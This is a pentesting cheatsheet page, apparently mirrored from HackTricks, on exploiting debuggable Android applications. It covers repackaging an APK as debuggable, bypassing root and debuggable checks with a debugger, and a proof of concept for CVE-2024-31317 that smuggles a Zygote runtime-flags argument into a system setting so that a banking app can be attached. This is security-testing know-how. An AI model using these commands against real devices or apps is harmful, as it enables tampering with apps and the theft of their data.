repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
exploiting-a-debuggeable-applciation.mdMarkdown138 lines9.5 KiBsource raw download

title: "Exploiting a Debuggable Application" section: "Mobile" sectionSlug: "mobile-pentesting" sourcePath: "src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Exploiting a Debuggable Application#

Bypassing Root and Debuggable Checks#

This section of the post is a summary from the post https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0[1]

Steps to Make an Android App Debuggable and Bypass Checks#

Making the App Debuggable#

Content based on https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0[1]

  1. Decompile the APK:

    • Utilize the APK-GUI tool for decompiling the APK.
    • In the android-manifest file, insert android:debuggable="true" to enable debugging mode.
    • Recompile, sign, and zipalign the modified application.
  2. Install the Modified Application:

    • Use the command: adb install <application_name>.
  3. Retrieve the Package Name:

    • Execute adb shell pm list packages -3 to list third-party applications and find the package name.
  4. Set the App to Await Debugger Connection:

    • Command: adb shell am set-debug-app -w <package_name>.
    • Note: This command must be run each time before starting the application to ensure it waits for the debugger.
    • For persistence, use adb shell am set-debug-app -w --persistent <package_name>.
    • To remove all flags, use adb shell am clear-debug-app <package_name>.
  5. Prepare for Debugging in Android Studio:

    • Navigate in Android Studio to File -> Open Profile or APK.
    • Open the recompiled APK.
  6. Set Breakpoints in Key Java Files:

    • Place breakpoints in MainActivity.java (specifically in the onCreate method), b.java, and ContextWrapper.java.

Bypassing Checks#

The application, at certain points, will verify if it is debuggable and will also check for binaries indicating a rooted device. The debugger can be used to modify app info, unset the debuggable bit, and alter the names of searched binaries to bypass these checks.

For the debuggable check:

  1. Modify the flag tested by the app:
    • In the debugger, locate this -> mLoadedApk -> mApplicationInfo -> flags.
    • ApplicationInfo.FLAG_DEBUGGABLE is the 0x2 bit. To make an in-memory self-check observe a non-debuggable app while the debugger remains attached, clear only that bit (flags & ~0x2) instead of copying a device-specific decimal value.[5]

https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png

These steps collectively ensure that the application can be debugged and that certain security checks can be bypassed using the debugger, facilitating a more in-depth analysis or modification of the application's behavior.

For the decimal value shown in the original walkthrough, clearing bit 0x2 changes 814267974 to 814267972. Recompute the value from the live flags on your target rather than assuming the remaining bits are identical.

Exploiting a Vulnerability#

A demonstration was provided using a vulnerable application containing a button and a textview. Initially, the application displays "Crack Me". The aim is to alter the message from "Try Again" to "Hacked" at runtime, without modifying the source code.[2]

Checking for Vulnerability#

Preparing the Setup#

Injecting Code at Runtime#

This example demonstrated how the behavior of a debuggable application can be manipulated, highlighting the potential for more complex exploits like gaining shell access on the device in the application's context.


2024 - Turning Applications into Debuggable Processes (CVE-2024-31317)#

Even if the target APK is not shipped with the android:debuggable flag, recent research showed that it is possible to force arbitrary applications to start with the DEBUG_ENABLE_JDWP runtime flag by abusing the way Zygote parses command-line arguments.[3][4]

Quick PoC#

# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"

# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1

# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp               # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700

The crafted value in step 1 breaks the parser out of the “fast-path” and appends a second synthetic command where --runtime-flags=0x104 (DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE) is accepted as if it had been supplied by the framework. Once the app is spawned, a JDWP socket is opened and regular dynamic-debug tricks (method replacement, variable patching, live Frida injection, etc.) are possible without modifying the APK or the device boot image.

Detection & Mitigation#


References#